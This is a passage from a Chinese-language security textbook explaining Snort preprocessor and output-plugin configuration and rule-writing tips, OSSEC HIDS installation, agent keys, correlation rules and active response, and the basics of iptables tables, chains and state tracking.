    preprocessor stream4_reassemble: [clientonly]，[serveronly]，[noalerts]，[ports ＜portlist＞]


clientonly 对一个连接的客户端提供重组

serveronly 对一个连接的服务器端提供重组

noalerts 对于插入和逃避攻击事件不发出报警

ports＜portlist＞ - 一个空格分隔的执行重组的端口列表，all将对所有的端口进行重组。缺省对如下端口重组：21 23 25 53 80 110 111 143和513。

注：在配置文件中仅仅设置 stream4 和 stream4_reassemble 命令而没有参数，它们将会使用缺省的参数配置。Stream4引入了一个新的命令行参数：-z 。在TCP流量中，如果指定了 –z 参数，Snort将只对那些通过三次握手建立的流以及那些协作的双向活动的流（即，一些流量走一个方向而其他一些除了一个RST或FIN外走相反方向）检测报警。当设置了-z 选项后Snort就完全忽略基于TCP的stick/snot攻击。

4.Conversation

Conversation 预处理器使 Snort 能够得到关于协议的基本的会话状态而不仅仅是由spp_stream4处理的TCP状态。

目前它使用和stream4相同的内存保护机制，所以它能保护自己免受DOS攻击。当它接收到一个网络不允许的协议的数据包时，它也能产生一个报警信息。要做到这一点，请在IP协议列表中设置允许的IP协议，并且当它收到一个不允许的数据包时，它将报警并记录这个数据包。

格式：


    preprocessor  conversation:  [allowed_ip_protocols ＜protonumbers|all＞]，[timeout＜sec＞]，[alert_odd_protocols]，[max_conversations＜number＞]


5.Portscan2

这个模块将检测端口扫描。它要求包含 Conversation预处理器以便判定一个会话是什么时间开始的。它的目的是能够检测快速扫描，例如，快速的nmap扫描。

格式：


    preprocessor  portscan2:  [scanners_max ＜num＞]，  [targets_max ＜num＞]，[target_limit＜num＞]，[port_limit＜num＞]，[timeout＜sec＞]


scaners_max 一次所支持的扫描一个网络的主机数

targets_max 分配代表主机的节点的最大数

target_limit 在一个扫描触发前，一个扫描器所允许扫描的最大的主机数

port_limit 在一个扫描触发前，一个扫描器所允许扫描的最大的端口数

timeout 一个扫描行为被忘记的秒数

6.Telnet Decode

telnet_decode 预处理器使Snort能够标准化telnet会话数据的控制协议字符。它把数据包规格后分开保存，这样原始数据就能够通过 rawbytes content 修饰词来记录或者检验了。缺省情况下，它运行在21，23，25和119端口。

格式：


    preprocessor  telnet_decode: ＜ports＞
    RPC  Decode


Rpc_decode 预处理器将 RPC的多个碎片记录组合成一个完整的记录。它是通过将数据包放在标准缓存中来做到这一点的。如果打开 stream4 预处理器功能。它将只处理客户端的流量。它缺省运行在 111和 32771端口。

格式：


    preprocessor  rpc_decode: ＜ports＞  [  alert_fragments  ] [no_alert_multiple_requests] [no_alert_large_fragments] [no_alert_incomplete]


7.Perf Monitor

这个模块是用来评估 Snort 各方面性能的一个工具。它的输出格式和参数格式都是变化的，在这里就不给出注释了。

8.Http Flow

使用这个模块可以忽略HTTP头后面的HTTP服务响应。


7.2.4 输出插件


输出插件使得Snort在向用户提供格式化输出时更加灵活。输出插件在Snort的告警和记录子系统被调用时运行，在预处理程序和探测引擎之后。规则文件中指令的格式非常类似于预处理程序。

注意：如果在运行时指定了命令行的输出开关，在 Snort 规则文件中指定的输出插件会被替代。例如，如果在规则文件中指定了alert_syslog插件，但在命令行中使用了“-A fast”选项，则alert_syslog插件会被禁用而使用命令行开关。多个输出插件是在Snort的配置文件中指定的。当指定多个输出插件时，它们被压入栈并且在事件发生时按顺序调用。关于标准的记录和报警系统，输出模块缺省把数据发送到 /var/log/snort，或者通过使用-l 命令行参数输出到一个用户指定的目录。在规则文件中通过指定output关键字，使得在运行时加载输出模块。

格式：


    output ＜name＞: ＜options＞


例子：


    output  alert_syslog:  LOG_AUTH  LOG_ALERT
    Alert_syslog


该插件向 syslog 设备发送告警（很像命令行中的-s 开关）。该插件也允许用户指定记录设备，优先于Snort规则文件中的设定，从而在记录告警方面给用户更大的灵活性。

可用关键字：


    选项（Options）
    LOG_CONS
    LOG_NDELAY
    LOG_PERROR
    LOG_PID
    设备（Facilities）
    LOG_AUTH
    LOG_AUTHPRIV
    LOG_DAEMON
    LOG_LOCAL0
    LOG_LOCAL1
    LOG_LOCAL2
    LOG_LOCAL3
    LOG_LOCAL5
    LOG_LOCAL6
    LOG_LOCAL7
    LOG_USER
    优先级（Priorities）
    LOG_EMERG
    LOG_ALERT
    LOG_CRIT
    LOG_ERR
    LOG_WARNING
    LOG_NOTICE
    LOG_INFO
    LOG_DEBUG


格式：


    alert_syslog: ＜facility＞ ＜priority＞ ＜options＞
    Alert_fast


将报警信息快速地打印在指定文件的一行里。它是一种快速的报警方法，因为不需要打印数据包头的所有信息。

格式：


    alert_fast: ＜output  filename＞


例子：


    output  alert_fast:  alert.fast
    Alert_full


打印数据包头所有信息的报警。这些报警信息写到缺省的日志目录（/var/log/snort）或者写到命令行指定的目录。在日志目录内，每个IP都创建一个目录。产生报警的数据包被解码后写到这个目录下的文件里。这些文件的创建将大大降低 Snort 的性能。所以这种输出方法对大多数不适用，但那些轻量级的网络环境还是可以使用的。

格式：


    alert_full: ＜output  filename＞


例子：


    output  alert_full:  alert.full
    Alert_smb


这个插件将把WinPopup报警信息发送给NETBIOS命名的机器上的一个文件。并不鼓励使用这个插件，因为它以Snort权限执行了一个外部可执行二进制程序，通常是 root权限。那个工作站上接受报警信息的文件每行存放一条报警信息。

格式：


    alert_smb: ＜alert  workstation  filename＞


例子：


    output  alert_smb:  workstation.list
    Alert_unixsock


打开一个UNIX套接字，并且把报警信息发送到那里。外部的程序/进程会在这个套接字上侦听并实时接收这些报警数据。

格式：


    alert_unixsock


例子：


    output  alert_unixsock
    Log_tcpdump


log_tcpdump 插件将数据包记录到 tcpdump 格式的文件中。这便于使用已有的多种检查tcpdump格式文件的工具，来对收集到的流量数据进行后处理工作。该插件只接受一个参数，即输出文件名

格式：


    log_tcpdump: ＜output  filename＞


例子：


    output  log_tcpdump:  snort.log
    database


该插件由Jed Pickel提供将Snort数据记录到Postgres SQL数据库中。更多的有关安装和配置该插件的信息可以在Incident.org （http://www.incident.org/snortdb）找到。这个插件的参数是数据库名称和一个参数列表。参数由格式parameter=argument来指定。可用参数如下：

host - 连接主机。如果指定了一个非零字串，就使用TCP/IP通信。如果不指定主机名，就会使用Unix domain socket连接。

port - 连接服务器主机的端口号，或者是Unix-domain连接的socket文件名扩展。

dbname - 数据库名。

user - 数据库中身份认证用的用户名。

password - 如果数据库要求口令认证，就使用这个口令。

sensor_name 为snort指定一个名字。如果不指定，这里就自动产生一个。

encoding 因为数据包负载和选项都是二进制的，所以没有一个简单的方法把它存储在数据库中。没有使用 BLOBS，因为它们在跨数据库时不是那么轻便的。所以提供了一个encoding 选项。

detail 要存储多少细节数据，可以选择：full （缺省值）记录一个引起报警数据包的所有的细节（包括 ip/tcp 选项和负载）。fast 只记录少量数据。如果选择了这个选项，将削减了潜在的分析能力，但这仍是一些应用的最佳选项。这将记录下面的字段（timestamp、signature、source ip、destination ip、source port、destination port、tcp flags、protocol）。

此外，还必须定义一个记录方法和数据库类型。有两种记录方法，log 和 alert。设置为log类型，将启动这个程序的数据库记录功能。如果设置为log类型，输出链表将调用这个插件。设置为alert类型，将启动这个程序的数据库报警输出功能。

当前共有四种数据库类型：MySQL、PostgreSQL、Oracle和 unixODBC-兼容数据库。

格式：


    output database: log，mysql，dbname=snort user=snort host=localhost password=xyz
    CSV


CSV输出插件可以将报警数据以一种方便的形式输出到一个数据库。这个插件要求两个参数，一个全路径文件名和输出模式选项。下面是模式选项列表。如果模式选项缺省，就按模式选项列表中的顺序输出。


    timestamp
    msg
    proto
    src
    srcport
    dst
    dstport
    ethsrc
    ethdst
    ethlen
    tcpflags
    tcpseq
    tcpack
    tcplen
    tcpwindow
    ttl
    tos
    id
    dgmlen
    iplen
    icmptype
    icmpcode
    icmpid
    icmpseq


格式：


    output  alert_CSV: ＜filename＞ ＜format＞


例子：


    output  alert_CSV:  /var/log/alert.csv  default
    output alert_CSV: /var/log/alert.csv timestamp，msg
    Unified


Unified输出插件被设计成尽可能快的事件记录方法。它记录一个事件到一个报警文件和一个数据包到一个日志文件。报警文件包含一个事件的主要信息（ips、protocol、port、 message id）。日志文件包含数据包信息的细节（一个数据包拷贝及相关的事件ID）。

这两个文件都是以spo_unified.h文件中描述的二进制形式写的。以unix秒为单位的时间将附加到每个文件的后面写出。

格式：


    output  alert_unified: ＜file  name＞
    output  log_unified: ＜file  name＞


例子：


    output  alert_unified:  snort.alert
    output  log_unified:  snort.log
    Log  Null


有时创建这样的规则是必要的，即在某些情况下能够发出报警而不记录数据包。当使用log_null插件时就相当于命令行的-N选项，但这个插件可以工作在一个规则类型上。

格式：


    output  log_null
    ruletype  info  {
    type  alert
    output  alert_fast:  info.alert
    output  log_null
    }


当编写 Snort 规则时，首先考虑的是效率和速度。好的规则要包含 content 选项。2.0版本以后，Snort 改变了检测引擎的工作方式，在第一阶段就作一个集合模式匹配。一个content 选项越长，这个匹配就越精确。如果一条规则不包含 content 选项，它们将使整个系统慢下来。

当编写规则时，尽量要把目标定位在攻击的地方（例如，将目标定位在1025的偏移量等）而不仅仅是泛泛的指定（如，在这匹配脚本代码）。Content 规则是大小写敏感的（除非使用了nocase选项）。不要忘记content是大小写敏感的和大多数程序的命令都是大写字母。FTP就是一个很好的例子。考虑如下的规则：


    alert tcp any any -＞ 192.168.1.0/24 21 (content: "user root"; msg: "FTP root login";)
    alert tcp any any -＞ 192.168.1.0/24 21 (content: "USER root"; msg: "FTP root login";)


上面的第二条规则能检测出大多数的自动以 root 登录的尝试，而第一条规则就不行。Internet 守护进程在接受输入时是很随便的。在编写规则时，很好地理解协议规范将降低错过攻击的机会。

探测引擎运用规则的顺序和它们在规则中的书写顺序无关。内容规则选项总是最后一个被检验。利用这个事实，应该先运用别的快速规则选项，由这些选项决定是否需要检查数据包的内容。例如：在TCP会话建立起来后，从客户端发来的数据包，PSH和ACK这两个TCP标志总是被置位的。如果想检验从客户端到服务器的有效数据，利用这个事实，就可以先进行一次TCP标志检验，这比模式匹配算法（pattern match algorithm）在计算上节约许多。使用内容选项的规则要加速的一个简便方法就是也进行一次标志检验。基本思想是，如果PSH和 ACK 标志没有置位，就不需要对数据包的有效数据进行检验。如果这些标志置位，检验标志而带来的计算能力消耗是可以忽略不计的。


7.3 OSSEC HIDS——Open Source HIDS



7.3.1 OSSEC HIDS 概述


OSSEC HIDS 是一个开源的基于主机的入侵检测系统，它可以用来进行日志分析、完整性检查、rootkit检测、基于时间的报警和主动响应。如果只需要监测一台系统，那么只要在这台机器上面安装 OSSEC 就可以了。而如果要监测一系列系统的话，就需要将其中一台设置为服务器，其余的作为Agent来使用，服务器就是集中的管理点。

如果只需要安装一个点，那么将该点安装为local模式就可以了。如果要监测一系列系统，那么选择其中的一台以“server”的模式来安装，其余的则以agent的模式来安装。注意这时必须要先安装server然后才能够安装agent。

OSSEC 的安装十分简单。首先下载 OSSEC，检查它的完整性之后，解包并进入该软件的目录运行install.sh脚本。


    [root@ossec  ～]#  wget  http://www.ossec.net/files/ossec-hids-latest.tar.gz
    [root@ossec  ～]#  wget  http://www.ossec.net/files/ossec-hids-latest_sum.txt
    [root@ossec  ～]#  cat  ossec-hids-latest_sum.txt
    MD5  (ossec-hids-latest.tar.gz)=XXXXXXX
    SHA1  (ossec-hids-latest.tar.gz)=YYYYYYYY
    [root@ossec  ～]#  md5  ossec-hids-latest.tar.gz
    MD5  (ossec-hids-latest.tar.gz)=XXXXXXX
    [root@ossec  ～]#  sha1  ossec-hids-latest.tar.gz
    SHA1  (ossec-hids-latest.tar.gz)=YYYYYYYY
    [root@ossec ～]# tar -zxvf ossec-hids-*.tar.gz (or gunzip -d; tar -xvf)
    [root@ossec ～]# cd ossec-hids-*
    [root@ossec  ～]#  ./install.sh
    ..
    ..


对于 Server/agent 来说，由于二者之间的数据传输是以加密形式进行的，因此首先需要在二者之间配置一个密钥。这一密钥由服务器产生，然后导入给Agent。

首先需要将Agent添加给服务器。运行manage_agents命令，键入Agent的IP地址，然后给这个Agent取一个名字。


    (server)#  /var/ossec/bin/manage_agents
    ***********************************************
    * OSSEC HIDS v0.8 Agent manager.      *
    * The following options are available: *
    ***********************************************
      (A)dd  an  agent  (A).
      (E)xtract  key  for  an  agent  (E).
      (L)ist  already  added  agents  (L).
      (R)emove  an  agent  (R).
      (Q)uit.
    Choose  your  actions:  A,E,R  or  Q:  a
    -  Adding  a  new  agent  (use  '\q'  to  return  to  main  menu).
      Please  provide  the  following:
    * A name for the new agent: linux1
    * The IP Address for the new agent: 192.168.2.32
    * An ID for the new agent[001]:
Agent  information:
    ID:001
    Name:linux1
    IP  Address:192.168.2.32
Confirm  adding  it?(y/n):  y
Added.


添加完 Agent之后，需要将密钥从服务器中导出来，运行 manage_agents命令，选择 E选项并提供相应Agent的ID就可以了。


    (server)#  /var/ossec/bin/manage_agents
    ***********************************************
    * OSSEC HIDS v0.8 Agent manager.      *
    * The following options are available: *
    ***********************************************
      (A)dd  an  agent  (A).
      (E)xtract  key  for  an  agent  (E).
      (L)ist  already  added  agents  (L).
      (R)emove  an  agent  (R).
      (Q)uit.
    Choose  your  actions:  A,E,R  or  Q:  e
    Available  agents:
      ID:  001, Name:  linux1, IP:  192.168.2.32
      ID:  002, Name:  obsd1, IP:  192.168.2.10
    Provide  the  ID  of  the  agent  you  want  to  extract  the  key:  001
    Agent  key  information  for  '001'  is:
    CDAxIGxpbnX4MSAxOTIuMTY4LjAuMzIgOWM5MENlYzNXXXYYYZZZZZ==
    ** Press ENTER to continue


这时需要将这一密钥拷贝粘贴到Agent一边。在Agent上运行manage_agents命令：


    (agent)#  /var/ossec/bin/manage_agents
    ***********************************************
    * OSSEC HIDS v0.8 Agent manager.      *
    * The following options are available: *
    ***********************************************
      (I)mport  key  for  the  server  (I).
      (Q)uit.
      Choose  your  actions:  I  or  Q:  i
    * Provide the Key generated from the server.
    * The best approach is to cut and paste it.
    *** OBS: Do not include spaces or new lines.
    Paste  it  here:  CDAxIGxpbnX4MSAxOTIuMTY4LjAuMzIgOWM5MENlYzNXXXYYYZZZZZ==
    Agent  information:
      ID:001
      Name:linux1
      IP  Address:192.168.2.32
    Confirm  adding  it?(y/n):  y
    Added.
    ** Press ENTER to continue.
    ***********************************************
    * OSSEC HIDS v0.8 Agent manager.*
    * The following options are available: *
    ***********************************************
      (I)mport  key  for  the  server  (I).
      (Q)uit.
    Choose  your  actions:  I  or  Q:  q
    manage_agents:  Exiting  ..


这样就完成了一个Agent的安装，重复这一步骤以完成各个Agent的安装。安装完成后，就可以在服务器和客户端上面启动OSSEC。在安装完成之后，记住要把服务器的UDP 1514端口从防火墙上打开。


    [root@ossec  ～]#  /var/ossec/bin/ossec-control  start



7.3.2 配置选项


OSSEC HIDS的配置选项主要在 ossec.conf文件中。缺省是/var/ossec/etc/ossec.conf。这一文件必须以ossec_config项开始，然后其他可选的Section如表7.7所示。


表7.7 可选的Section
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这些选项中，有一部分只应当被agent使用，有一部分只被server模式或者local模式使用。下面列出了各种安装模式相对应的选项：


       server:  global, rules, syscheck, rootcheck, alerts, localfile, remote,command  and  active-response.
       local: global,rules,syscheck,rootcheck,alerts,localfile,command and active-response.
       agent:  client, syscheck, rootcheck  and  localfile.


表7.8～表7.15分别列出了各选项的详细描述。

1.Global选项（“server”以及“local”安装）


表7.8 Global选项
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2.Rules选项（“server” 以及“local”安装）


表7.9 Rules选项

[image: ]


3.Syscheck选项（“server”、“local”以及“agent”安装）


表7.10 Syscheck选项
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4.Rootcheck选项（“server”、“local”以及“agent”安装）


表7.11 Rootcheck选项
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5.Alerts选项（“server” 以及“local”安装）


表7.12 Alerts选项
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6.Localfile选项（“server”、“local”以及“agent”安装）


表7.13 Localfile选项
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7.Remote选项（仅限“server”安装）


表7.14 Remote选项
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8.Client选项（仅限“agent”安装）


表7.15 Client选项
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7.3.3 日志分析、入侵检测和关联


分析规则在一个 XML 文件中配置，可以通过修改这个文件以动态地配置关联。缺省情况下，OSSEC HIDS有一大批规则，管理员的工作大部分是简化这些规则。当然，管理员也可以定制自己的联动规则，常见的联动规则大致可以分为如下几类。

首先，可以关联新的事件和旧的事件，例如：


   ＜rule  id="1608"  level="13"  timeframe="120"＞
     ＜regex＞^sshd[\d+]:    fatal:    Local:    crc32    compensation attack＜/regex＞
       ＜if_matched_regex＞^sshd[\d+]:   \.+Corrupted   check   by bytes  on＜/if_matched_regex＞
     ＜comment＞SSH  CRC-32  Compensation  attack＜/comment＞
     ＜info＞http://www.securityfocus.com/bid/2347/info/＜/info＞
   ＜/rule＞


在产生“crc32 compensation attack”之后120秒，如果产生了“Corrupted check by bytes”日志，这一事件才会被触发。

也可以使用组来扩展上面的关联配置。例如，只有在规则组 attack中的某个规则触发后且规则组 adduser触发 5分钟后规则 1701 才会被触发。这一规则可能是为了检查在系统被入侵后，攻击者又加了一个账号。

可以创建基于严重性程度（severities）、用户名、入侵检测系统（snort）、源IP地址等等的规则。

可以设置某个规则在报警前发生的次数。例如，只有在5分钟内发生5次错误的登录的时候才报警。对于Web来说，可以指定只有在2分钟内同一IP地址发生X次404错误之后再报警。

在配置自己的规则中，可以使用的关键字如表7.16所示。


表7.16 关联可以使用的关键字
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7.3.4 主动响应


主动响应使得在某一特定规则或某组特定规则触发后可以自动执行某些命令。OSSEC HIDS具有非常灵活的主动响应性能，可以在Agent或者是Server上执行命令。

主动响应的利弊都很明显，它的优点是：

发生攻击的时候能够进行快速响应。

能够有效地防止端口扫描、暴力破解以及其他信息搜集性攻击。

风险：

误警可能会阻止合法用户的使用。

攻击者可能会利用主动响应配置来进行拒绝服务性攻击。

可以使用如下技术进行风险控制：

可以制定白名单。

可以进行比较细的力度控制，这样可以只在低误警率的规则触发时进行主动响应。

允许制定超时值，即使有人因为误警被封，那么只要若干分钟之后就可以恢复正常使用了。

1.主动响应配置

主动响应配置可以分为两个部分。第一部分指定要运行的命令，而第二部分则用来指定和它绑定的规则。

（1）命令配置

在命令配置中，可以创建新的可运行的命令。例如：


   ＜command＞
     ＜name＞The  name  (A-Za-Z0-9)＜/name＞
                 ＜executable＞The  command  to  execute  (A-Za-z0-9.-)＜/executable＞
                 ＜expect＞Comma separated list of arguments (A-Za-z0-9)＜/expect＞
           ＜timeout_allowed＞yes/no＜/timeout_allowed＞
   ＜/command＞


其中：

- name: 用来表示这个命令的名字。

- executable: 必须是在/var/ossec/active-response/bin目录下的一个可执行文件，不必是完整路径。

- expect: 命令执行时需要的参数（可选有srcip和username）。

- timeout_allowed: 指定该命令是否支持timeout。

（2）响应配置

在主动响应配置中，必须将命令和规则绑定。可以同时绑定多个命令。例如：


   ＜active-response＞
       ＜disabled＞Completely  disables  active  response  if  "yes"＜/disabled＞
       ＜command＞The  name  of  any  command  already  created＜/command＞
       ＜location＞Location  to  execute  the  command＜/location＞
       ＜agent_id＞ID  of  an  agent  (when  using  a  defined  agent) ＜/agent_id＞
   ＜level＞The  lower  level  to  execute  it  (0-9)＜/level＞
   ＜rules_id＞Comma  separated  list  of  rules  id  (0-9)＜/rules_id＞
   ＜rules_group＞Comma  separated  list  of  groups  (A-Za-z0-9)＜/rules_group＞
   ＜timeout＞Time  to  block＜/timeout＞
＜/active-response＞


其中：

disabled：如果设置为yes则禁止主动响应。

command：某个命令的名字（必须和命令配置中相同）

location：这一命令执行的地点，可选项有：

local：在产生此事件的Agent上；

analysis-server：在分析服务器上；

defined-agent：在某个特定的Agent上，由agent_id指定；

all：所有。

agent_id：执行命令的Agent的ID（当使用defined-agent模式时）。

level：当事件的级别等于或高于此级别时，命令就会被执行。

timeout：多长时间后相反的命令被执行（例如，解封IP）。

rules_id：一个规则ID的列表，用逗号分开。

rules_group：多长时间后相反的命令被执行（例如，解封IP）。

2.主动响应工具

缺省情况下，OSSEC有如下预部署的主动响应工具。

host-deny.sh – 添加一个IP地址到/etc/hosts.deny 文件。

firewall-drop.sh (iptables) – 添加一个IP地址到iptables的被禁列表中(Linux 2.4 and 2.6)。

firewall-drop.sh (ipfilter) – 使用ipfilter封掉此IP(FreeBSD、NetBSD and Solaris)。

firewall-drop.sh (ipfw) – 使用ipfw封掉此IP (FreeBSD)。

firewall-drop.sh (ipsec) – 使用ipsec 封掉此IP(AIX)。

firewall-drop.sh (pf) – 使用pf 封掉此IP (OpenBSD and FreeBSD)。


7.3.5 Windows Agent


从版本0.8开始，OSSEC开始支持Windows系统下的Agent（NT、2000、XP and 2003）。它将监测Event log以及其他的日志信息（如 IIS日志）。每当事件产生时，这些事件都会被发给server以进行关联分析。此外，ossec agent也进行文件的完整性检查。

Windows上 Agen 的安装很简单，只要执行自动安装工具就可以了。安装过程中需要输入来自服务器的认证密钥以及服务器的IP地址。这些完成后，点击控制面板、管理工具、服务并启动OSSEC Hids服务，建议把它设置为自动启动（目前还不支持Windows上面的rootkit检测）。

对于 IIS 来说，目前只支持 NCSA 格式的 IIS 日志。缺省情况下只监测第一个日志（W3SVC1），因此如果需要监测其他文件的话，必须为每个文件添加一个新的条目。以下是一个配置的例子：


   ＜localfile＞
   ＜location＞%WinDir%\System32\LogFiles\W3SVC2\nc%y%m%d.log＜/location＞
   ＜log_format＞iis＜/log_format＞
 ＜/localfile＞


注意：%y表示当前年；%m 表示当前月；而%d表示当前日。


7.3.6 和其他工具联动


OSSEC可以和Nmap联合，这样Ossec可以读nmap的输出文件。首先，需要在ossec.conf中添加一个nmap的输出文件


                                      ＜ossec_config＞
                                         ＜localfile＞
                                            ＜log_format＞nmapg＜/log_format＞
                                            ＜location＞/var/log/nmap-out.log＜/location＞
                                         ＜/localfile＞
                                      ＜/ossec_config＞


然后，重新启动OSSEC（注意如果nmap的输出文件还不存在的话，需要先生成一个空的）：


              ossec-test#  touch  /var/log/nmap-out.log
              ossec-test#  /var/ossec/bin/ossec-control  restart


这时就可以运行nmap扫描了。


              ossec-test#  nmap  --append_output  -sU  -sT  -oG /var/log/nmap-out.log 192.168.2.0-255



7.4 IPTABLES防火墙



7.4.1 IPTABLES概述


IPTABLES是在Linux 2.4内核之后普遍使用的防火墙。内核由“filter”表中的以下三个规则开始。这些被称为防火墙链或就叫链。这三个链分别是 INPUT、OUTPUT和FORWARD。IPTABLES 中一个数据包的历程如图 7.1 所示。三个圈代表上面说的三个链，当包到达图中的一个圈，那个链就检查并确定包的命运。如果链决定DROP包，数据包就会被丢弃。但是如果链决定让包ACCEPT，包就继续在图中前进。一个链是规则的列表，如果规则和包不匹配，由链中的下一个规则处理。最后，如果再也没有要进行处理的规则了，内核就根据链的原则（policy，有时称为默认规则）来决定应当如何做。在一个注重安全的系统中，原则通常是让内核丢弃这个包。

当一个包进入时（就是由以太网卡），内核首先检查包的目的地。这被称作选路。

如果它就是进入本机的，包会向图中的下方移动，到达INPUT链。如果到了这里，任何等待这个包的进程都会收到它。

否则，如果内核未被允许转发，或者不知道该如何转发这个包，它会被丢弃。如果允许转发，而且包的目的地是另一个网络接口（如果有另一个的话），那么包向图中的右边行进，到达 FORWARD链。如果允许通过（ACCEPT），它就被送了出去。

最后，服务器上运行的程序可以发送网络包。这些包马上通过 OUTPUT链。如果被允许（ACCEPT），那么包继续向可以到达它的目的地的网络接口发送。

本节将详细讨论如何构建自己的规则。我们也会讨论基本的matche及其用法，还有各种各样的target，以及如何建立我们自己的target（比如，一个新的子链）。


图7.1 IPTABLES结构



1.基础

我们已经解释了什么是规则，在内核看来，规则就是决定如何处理一个包的语句。如果一个包符合所有的条件（就是符合matche语句），我们就运行target或jump指令。书写规则的语法格式是：


    iptables  [-t  table] command  [match] [target/jump]


注意target指令必须在最后。为了易读，我们一般用这种语法。

如果不想用标准的表，就要在[table]处指定表名。一般情况下没有必要指定使用的表，因为iptables 默认使用filter表来执行所有的命令。也没有必要非得在这里指定表名，实际上几乎可在规则的任何地方。当然，把表名放在开始处已经是约定俗成的标准。

尽管命令总是放在开头，或者是直接放在表名后面，我们也要考虑到底放在哪儿易读。command告诉程序该做什么，比如：插入一个规则，还是在链的末尾增加一个规则，还是删除一个规则，下面会仔细地介绍。

match 细致地描述了包的某个特点，以使这个包区别于其他所有的包。在这里，我们可以指定包的来源 IP 地址、网络接口、端口、协议类型，或者其他什么。下面我们将会看到许多不同的match。

最后是数据包的目标所在。若数据包符合所有的match，内核就用target来处理它，或者说把包发往 target。比如，我们可以让内核把包发送到当前表中的其他链（可能是我们自己建立的），或者只是丢弃这个包而没有什么处理，或者向发送者返回某个特殊的应答。下面有详细的讨论。

选项-t用来指定使用哪个表，它可以是表7.17中的任何一个，默认的是 filter表。注意，下面的介绍只是章节表和链的摘要。


表7.17 IPTABLES的表
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2.其他参数介绍

除了-t 格式之外，IPTABLES 还有很多其他参数格式，用来指定提交的规则要做什么样的操作。这些操作可能是在某个表里增加或删除一些东西，或做点儿其他什么。表7.18所列是iptables可用的command（要注意，如不做说明，默认表的是 filter表）。


表7.18 其他命令行参数
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续表
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在使用 iptables 时，如果必须的参数没有输入就按了回车，那么它就会给出一些提示信息：告诉用户需要哪些参数等等。iptables的选项-v用来显示iptables的版本，-h给出语法的简短说明。


7.4.2 表和链


当数据包到达防火墙时，如果 MAC 地址符合，就会由内核里相应的驱动程序接收，然后会经过一系列操作，从而决定是发送给本地的程序，还是转发给其他主机，还是其他的什么。我们先来看一个以本地为目的的数据包，它要经过表7.19所示的步骤才能到达要接收它的程序：表中mangle的意思就是说在这个表中，会对数据包的一些传输特性进行修改，允许的修改可以是 TOS、TTL、MARK。


表7.19 以本地为目标的包的处理过程
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源地址是本地的包要经过的步骤如表7.20所示。


表7.20 以本地为源的包的处理过程
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续表
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在表7.21所列的例子中，我们假设一个包的目的是另一个网络中的一台主机。让我们来看这个包的旅程。


表7.21 被转发的包
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如上所述，包要经历很多步骤，而且它们可以被阻拦在任何一条链上，或者是任何有问题的地方。我们的主要兴趣是 iptables 的概貌。注意，对不同的接口，是没有什么特殊的链和表的。所有要经防火墙/路由器转发的包都要经过 FORWARD 链。在上面的情况里，不要在 INPUT 链上做过滤。INPUT 是专门用来操作那些以我们的主机为目的地址的包的，它们不会被路由到其他地方的。

在第一个路由判断处，不是发往本地的包，我们会发送它穿过 FORWARD 链。若包的目的地是本地监听的IP地址，我们就会发送这个包穿过INPUT链，最后到达本地。

值得注意的是，在做NAT的过程中，发往本机的包的目的地址可能会在PREROUTING链里被改变。这个操作发生在第一次路由之前，所以在地址被改变之后，才能对包进行路由。注意，所有的包都会经过图7.1中的某一条路径。如果把一个包DNAT回它原来的网络，这个包会继续走完相应路径上剩下的链，直到它被发送回原来的网络。

1.mangle表

这个表主要用来处理mangle包，可以使用mangle匹配来改变包的TOS等特性。

以下是mangle表中仅有的几种操作：

TOS

TTL

MARK

TOS操作用来设置或改变数据包的服务类型域。这常用来设置网络上的数据包如何被路由等策略。注意这个操作并不完善，有时得不所愿。它在 Internet 上还不能使用，而且很多路由器不会注意到这个域值。换句话说，不要设置发往 Internet 的包，除非你打算依靠 TOS来路由，比如用iproute2。

TTL操作用来改变数据包的生存时间域，我们可以让所有数据包只有一个特殊的TTL。它的存在主要是为了进行连接共享。有些ISP会查找一台单独的计算机是否使用不同的TTL，并且以此作为判断连接是否被共享的标志。

MARK用来给包设置特殊的标记。iproute2能识别这些标记，并根据不同的标记（或没有标记）决定不同的路由。用这些标记可以做带宽限制和基于请求的分类。

2.nat 表

此表仅用于NAT，也就是转换包的源或目标地址。注意，就像我们前面说过的，只有流的第一个包会被这个链匹配，其后的包会自动被做相同的处理。实际的操作分为以下几类：

DNAT

SNAT

MASQUERADE

DNAT操作主要用在这样一种情况，有一个合法的IP地址，要把对防火墙的访问重定向到其他的主机上（比如DMZ）。也就是说，我们改变的是目的地址，以使包能重路由到某台主机。

SNAT改变包的源地址，这在极大程度上可以隐藏本地网络或者DMZ等。一个很好的例子是我们知道防火墙的外部地址，但必须用这个地址替换本地网络地址。有了这个操作，防火墙就能自动地对包做SNAT和De-SNAT（就是反向的SNAT）,以使LAN能连接到Internet。如果使用类似192.168.0.0/24这样的地址，是不会从Internet得到任何回应的。因为IANA定义这些网络（还有其他的）为私有的，只能用于LAN内部。

MASQUERADE的作用和SNAT完全一样，只是计算机的负荷稍微多一点。因为对每个匹配的包，MASQUERADE都要查找可用的IP地址，而不像SNAT用的IP地址是配置好的。当然，这也有好处，就是我们可以使用通过PPP、 PPPOE、SLIP等拨号得到的地址，这些地址可是由ISP的DHCP随机分配的。

3.Filter 表

filter 表用来过滤数据包，我们可以在任何时候匹配包并过滤它们。我们就是在这里根据包的内容对包做DROP或ACCEPT的。当然，也可以预先在其他地方做些过滤，但是这个表才是设计用来过滤的。几乎所有的target都可以在这儿使用。


7.4.3 状态机制


状态机制是 iptables 中特殊的一部分，其实它不应该叫状态机制，因为它只是一种连接跟踪机制。但是，很多人都认可状态机制这个名字。连接跟踪可以让Netfilter知道某个特定连接的状态。运行连接跟踪的防火墙称作带有状态机制的防火墙，以下简称为状态防火墙。状态防火墙比非状态防火墙要安全，因为它允许我们编写更严密的规则。

在iptables里，包是和被跟踪连接的四种不同状态有关的。它们是NEW、ESTABLISHED、RELATED 和INVALID。后面我们会深入地讨论每一个状态。使用--state 匹配操作，能很容易地控制“谁或什么能发起新的会话”。

所有在内核中由Netfilter的特定框架做的连接跟踪称作conntrack。conntrack可以作为模块安装，也可以作为内核的一部分。大部分情况下，我们想要，也需要更详细的连接跟踪，这是相比于缺省的conntrack而言。也因为此，conntrack中有许多用来处理TCP、UDP或ICMP协议的部件。这些模块从数据包中提取详细的、惟一的信息，因此能保持对每一个数据流的跟踪。这些信息也告知 conntrack流当前的状态。例如，UDP流一般由它们的目的地址、源地址、目的端口和源端口惟一确定。

在以前的内核里，我们可以打开或关闭重组功能。然而，自从iptables和Netfilter，尤其是连接跟踪被引入内核，这个选项就被取消了。因为没有包的重组，连接跟踪就不能正常工作。现在重组已经整合入 conntrack，并且在conntrack启动时自动启动。不要关闭重组功能，除非要关闭连接跟踪。

